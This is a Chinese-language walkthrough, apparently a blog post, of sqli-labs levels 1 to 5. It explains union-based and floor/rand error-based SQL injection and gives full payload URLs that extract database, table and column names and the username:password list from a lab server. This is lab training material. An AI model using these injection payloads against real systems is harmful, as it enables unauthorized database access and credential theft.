sqli-lab Less1-10通关

Less-1

f843acc3697840ffa669c224e313a6a7.png

页面中“Please input the ID as parameter with numeric value”意思是请以数字值作为参数输入用户标示符。

首先判断这是数字注入还是字符注入。经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询。

5d7e8d10d84543018b12ec49d5f336be.png

然后在id后面加个',就会报错,可能是字符型注入

f12bbdb5b7b941c3a857de766edcd936.png

输入--+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入

17861fd0d1bc469daec90eb92f8d86a6.png

然后用order by 来判断有多少列数据,order by 3,发现是页面正常

d5b07087d6be44a0b11e9398b3d6c36e.png

然后order by 4,发现是报错的

8dec9dade78e4b0392854982efb29b79.png

因此可知共有3列数据

6bc63455633a4cb496d11f1ee07c13a2.png

所以需要用order by确定表的列数才可以使用联合查询

使用union select 1,2,3查看页面是否有显示位

还有在使用联合查询之前需要把id值随便改一个,例如-1,绝不可以是数据库里面所存在的值

3dee94f1316147a18de7326eced59158.png

 发现页面先输出了2和3,说明页面有2个显示位,第一列不显示

查询当前数据库

http://30.10.0.10:34331/Less-1/?id=-1%27%20union%20select%201,2,database()--+

cbbb91f4b04b4316bb40216dea9827da.png

然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息

首先查询数据库名信息

http://30.10.0.10:34331/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),3%20--+

b799b735c90d400cad0da9d463390d01.png

查询security内的所有表名

http://30.10.0.10:34331/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)--+

5cc115bfe3e342f69ec711fcc55da395.png

查询表“Users”中的所有列名

http://30.10.0.10:34331/Less-1/?id=-1%27%20union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23

485a936e2f8646f68b067644c9303a33.png

批量查询表“Users”的内容,username和password用“:”隔开

http://30.10.0.10:34331/Less-1/?id=-1%27%20union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23

a9c262b4db6047db8a57d5cf63f361cf.png

Less-2

首先判断漏洞是否存在,加单引号报错,说明漏洞存在

8e488e1c27e346f9be98a8a037f6c282.png

去掉单引号,加and 1=1页面正常,故已闭合

61f606d0e21042e1b17e5a12368679e8.png

用order by 判断该表有多少列,order by 4报错,Order by 3正常,故共有三列

3302bf12aad5444a9c946b26072d6aee.png

判断显示位

6f591733c28e4e6d90f896a1d4681ff6.png

查询当前数据库,为“security”

7839146cfbb2428ca082d17f63c05dac.png

批量查询该数据库中所有表名

1c0ba1a28ff141ff903a28cab9421f35.png

查询表“users”中所有列名

2f31f02b0c0840dc911b4877d9a9323a.png

查询所有username和password,用“:”隔开

c6e28291e4e34e82829cc1f5d4f5ccb2.png

Less-3

首先输入1’,页面报错,故存在漏洞

52bd026c07c840e2b6c9540987ca611d.png

加and 1=1没有用

eff082b8614f4d8f8c242db4c64b73df.png

发现在单引号后加括号可以使其闭合

d1c5f487dc8a4383a4c25912be3d6b77.png

用order by 判断共有几列,发现有3列

8dff53834667467ca6f7e539339065d4.png

将id改为-1,再用union select 查询显示位

9d15393d02904d1bab0f0f95921518dd.png

查询当前数据库名,为“security”

d0646375bd554070be2c1a72798e636d.png

后续过程同Less-2

Less-4

根据报错信息,猜测需要用”)来闭合

983246c1f1e0470f986e4322203b32ad.png

经验证,确实需要用”)来闭合

c0aa744414d34f898a3898c5e731e4d0.png

用order by 判断共有几列,发现有3列

3590fe0ad8cd44b298de8408862026e9.png

之后的过程同Less-2

Less-5:

这道题是“双查询注入”,双查询注入顾名思义形式上是两个嵌套的查询,即select ...(select ...),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

rand()随机函数,返回0~1之间的某个值

floor(a)取整函数,返回小于等于a,且值最接近a的一个整数

count()聚合函数也称作计数函数,返回查询对象的总数

group by cluase分组语句,按照cluase对查询结果分组

concat函数是用来连接,比如 concat(‘a’,’b’)那结果就是ab了

简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

原理:

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

首先利用报错查询数据库,为“security”

http://30.10.0.10:41627/Less-5/?id=1%27%20%20union%20select%20null,count(*),concat((select%20database()),floor(rand()*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a--+

70b57a1b398c43cfa45c00d5e3c44c24.png

接着查询数据库中的第一张表名

http://30.10.0.10:41627/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

2b96442e22054ca3b93cc04003572953.png

通过修改LIMIT函数偏移量,查询数据库中的其他表

http://30.10.0.10:41627/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%201,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

cf00604dd0b6459991920e8e1c8e6905.png

9420f70a68984b22a8c582e06865cd89.png

412f6eb0edfb4b1d83f3c1830503bd9d.png

接下来利用报错查询列名

http://30.10.0.10:45563/Less-5/?id=1%27%20union%20SELECT%20null,count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

6bb67c5c2a49463fa1bb1f83b5c2ff41.png

修改LIMIT的偏移量

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值